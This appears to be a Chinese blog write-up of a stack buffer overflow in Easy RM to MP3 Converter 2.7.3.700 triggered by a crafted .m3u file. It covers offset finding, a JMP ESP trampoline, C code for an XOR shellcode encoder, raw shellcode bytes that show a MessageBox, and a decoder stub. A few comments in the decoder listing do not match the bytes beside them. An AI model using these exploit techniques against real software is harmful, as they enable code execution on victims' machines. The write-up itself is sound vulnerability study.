Easy RM to MP3 Converter漏洞分析报告

Easy RM to MP3 Converter漏洞分析报告


软件名称:Easy RM to MP3 Converter

软件版本:2.7.3.700

漏洞模块:RM2MP3Converter.exe

模块版本:2.7.3.700

编译日期:2006-09-29

操作系统:Windows 7 SP1(6.1.7601)

漏洞编号

危害等级:中

漏洞类型:缓冲区溢出

威胁类型:本地


分析人:李祥

2016年12月23日

1. 软件简介

Easy RM to MP3 Converter:是由Mini-stream Software公司推出的一款共享软件,主要用于将RM格式的音频转换为MP3格式。

 

2. 漏洞原理

Easy RM to MP3 Converter 2.7.3.700版本中存在缓冲区溢出漏洞。这款软件存在漏洞的地方是对.m3u音频列表文件的解析出了问题。

通过了解得知,.m3u文件是纯文本文件,里面直接用文本的方式保存着音频文件的地址,因此我们可以非常方便的去构造一个.m3u文件,而不用去考虑文件格式的问题。

 

3. 构造触发漏洞的POC

经过上面对漏洞成因的分析,知道漏洞是由于对.m3u音频列表文件的解析导致的。为了验证以上的分析并触发漏洞,我们需要往Easy RM to MP3 Converter插入一个特殊构造的.m3u文件。

 


首先我们逐步往文件中填入“AAAAA…”,直到其奔溃为止





由于溢出点的范围可能较大,因此我们需要使用二分法查找,也就是将大约一半的文件内容填为“AAAAA…” 并将另一半填为“BBBBB…”,以此来确定溢出点的大致位置


由异常偏移“0x42424242”可知,我们的异常点落到了下半部分,因此我们继续将下半部分替换为“CCCCC…”与“DDDDD…” 各占一半的内容,以此来更进一步确定溢出点的具体位置




由异常偏移“0x4e4e4e4e”可知,我们的异常点落到了最后一部分




我们在按照如上逻辑不断的细分下去,最终定位到溢出点的偏移是0x0000B071


4. 构造Exploit

我们使用跳板指令的方式构造一个Exploit,先要看看程序里是否有JMP ESP


用Windbg搜索程序中的JMP ESP指令:s 752c0000 L100000 FF E4

s是windbg的搜索命令 752c0000是你要从哪里开始的地址 L100000是搜索的范围,搜索范围大于256M需要在前面加上L, FF E4 = jmp esp


搜索出来一大堆JMP ESP指令的地址,随便选一个用来作为跳板,这里我们选择第一个



这里我们还要利用一个加密函数加密我们的Shellcode,通过不断尝试变换加密Key,最终使得加密后的Shellcode不含截断字符

上代码:

    #include "stdafx.h"

    bool AutoEncoder(char *pData, int nSize)
    {
    // 1. 循环尝试用不同的key加密,直到加密结果不出现0x00
    int             nOutKey = 0x00;
    unsigned char * pBuffer = NULL;
    bool            bComplete = true;
    pBuffer = (unsigned char *)new char[nSize + 1];
    for (int key = 0; key < 0xFF; key++) {
        nOutKey = key;
        bComplete = true;
        for (int i = 0; i < nSize; i++) {
            pBuffer[i] = pData[i] ^ key;
            if (0x00 == pBuffer[i] || 0x0A == pBuffer[i]) {
                bComplete = false;
                break;
            }
        }
        if (bComplete) break;
    }
    // 2. 判断加密是否成功,不成功则返回false
    if (!bComplete) return false;
    // 3. 将加密后的内容保存在文件中
    FILE * fpOutFile;
    if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+"))
        return false;
    // 3.1 输出“/* Encode Key=0xXX */”
    fprintf(fpOutFile, "/* Encode Key=0x%0.2X size=0x%04X*/\n", nOutKey,nSize);
    // 3.2 输出“char bShellcode[] = \”与下一行首部的“"”
    fprintf(fpOutFile, "char bShellcode[] = \\\n\"");
    for (int i = 0; i < nSize; i++) {
        fprintf(fpOutFile, "\\x%0.2X", pBuffer[i]);
        if ((i + 1) % 16 == 0)
            fprintf(fpOutFile, "\" \\\n\"");
    }
    // 3.3 输出“";”
    fprintf(fpOutFile, "\";");
    // 4. 关闭句柄,释放资源
    fclose(fpOutFile);
    delete[] pBuffer;
    return true;
    }


    int main()
    {
    char cShellcode[309] = {
        0x60, 0x83, 0xEC, 0x20, 0xEB, 0x4D, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64,
        0x72, 0x65, 0x73, 0x73, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x45,
        0x78, 0x41, 0x00, 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x4D, 0x65,
        0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72,
        0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C,
        0x64, 0x21, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00,
        0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x56, 0x08, 0x53, 0x52, 0xE8, 0x12, 0x00,
        0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x4B, 0xBC, 0x51, 0x52, 0xFF, 0xD0, 0x53, 0x56, 0x50, 0x52, 0xE8,
        0x6E, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x52, 0x8B, 0x55, 0x08, 0x8B, 0x72,
        0x3C, 0x8D, 0x34, 0x32, 0x8B, 0x76, 0x78, 0x8D, 0x34, 0x32, 0x8B, 0x7E, 0x1C, 0x8D, 0x3C, 0x3A,
        0x89, 0x7D, 0xFC, 0x8B, 0x7E, 0x20, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xF8, 0x8B, 0x7E, 0x24, 0x8D,
        0x3C, 0x3A, 0x89, 0x7D, 0xF4, 0x33, 0xC0, 0xEB, 0x01, 0x40, 0x8B, 0x75, 0xF8, 0x8B, 0x34, 0x86,
        0x8B, 0x55, 0x08, 0x8D, 0x34, 0x32, 0x8B, 0x5D, 0x0C, 0x8D, 0x7B, 0xAE, 0xB9, 0x0E, 0x00, 0x00,
        0x00, 0xFC, 0xF3, 0xA6, 0x75, 0xE3, 0x8B, 0x75, 0xF4, 0x33, 0xFF, 0x66, 0x8B, 0x3C, 0x46, 0x8B,
        0x55, 0xFC, 0x8B, 0x34, 0xBA, 0x8B, 0x55, 0x08, 0x8D, 0x04, 0x32, 0x5A, 0x8B, 0xE5, 0x5D, 0xC2,
        0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x8B, 0x5D, 0x14, 0x8D, 0x4B, 0xCB, 0x6A, 0x00,
        0x6A, 0x00, 0x51, 0xFF, 0x55, 0x0C, 0x8D, 0x4B, 0xD6, 0x51, 0x50, 0xFF, 0x55, 0x10, 0x89, 0x45,
        0xFC, 0x8D, 0x4B, 0xE2, 0x51, 0xFF, 0x75, 0x08, 0xFF, 0x55, 0x10, 0x89, 0x45, 0xF8, 0x8D, 0x4B,
        0xEE, 0x6A, 0x00, 0x51, 0x51, 0x6A, 0x00, 0xFF, 0x55, 0xFC, 0x6A, 0x00, 0xFF, 0x55, 0xF8, 0x8B,
        0xE5, 0x5D, 0xC2, 0x10, 0x00
    };
    AutoEncoder(cShellcode, sizeof(cShellcode));
    return 0;
    }


编译运行后,得到加密后的Shellcode



接下来我们还需要一段解密的代码

#include "stdafx.h"


int main()
{
    _asm
    {
        // 1. GetPC
        xor eax,eax
        call tag_GET_PC-1
tag_GET_PC:
        retn
        pop eax
        // 2. Decode
        lea esi,[eax+0x1B]  // esi = Shellcode(Encode)
        xor ecx,ecx         // ecx = 循环计数器
        mov cx,0x0136       //  cx = Shellcode体积
tag_Decode:
        mov al,[esi+ecx]    //  al = 解密前字节
        xor al,0x03         //  al = 解密后字节(0x03为Key)
        mov [esi+ecx],al
        loop tag_Decode
        xor [esi+ecx],0x03  // 将最后一个字节解密(因为ECX为0时LOOP会停止)
        // 3. 跳转到Shellcode
        jmp esi
    }
    return 0;
}

然后将这段解密代码写为opcode形式,为了在加密后的shellcode前添加

#include "stdafx.h"

char bShellcode1[] = \
/* xor eax,eax                              */  "\x33\xC0" \
/* call 0xFFFFFFFF                          */  "\xE8\xFF\xFF\xFF\xFF" \
/* retn                                     */  "\xC3" \
/* pop eax              ;eax=GetPc          */  "\x58" \
/* lea esi,[eax+0x17]   ;esi=Shellcode      */  "\x8D\x70\x1B" \
/* xor ecx,ecx          ;ecx=循环计数器      */  "\x33\xC9" \
/* mov cx,0x0136        ; cx=Shellcode体积    */  "\x66\xB9\x36\x01" \
/* tag_Decode:                              */
/* mov al,[esi+ecx]     ; al=解密前字节      */  "\x8A\x04\x0E" \
/* xor al,0x02          ;0x03为Key           */  "\x34\x03" \
/* mov [esi+ecx],al                         */  "\x88\x04\x0E" \
/* loop tag_Decode                          */  "\xE2\xF6" \
/* xor [esi+ecx],0x03   ;解密最后一字节        */  "\x80\x34\x0E\x03" \
/* jmp esi              ;跳到Shellcode        */  "\xFF\xE6" \
//......
//......
;

int main()
{
    return 0;
}



终于可以构造我们的.m3u文件了,几块区域分别用不同颜色标注出来:


红色方框:JMP ESP 黄色方框:滑板指令(nop) 绿色方框:解密代码(Decode) 蓝色方框:Shellcode



接下来,就是到了激动人心的时刻了,将我们精心构造的.m3u文件用软件打开



此时,弹出了我们想要的MessageBox

漏洞利用结束。



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值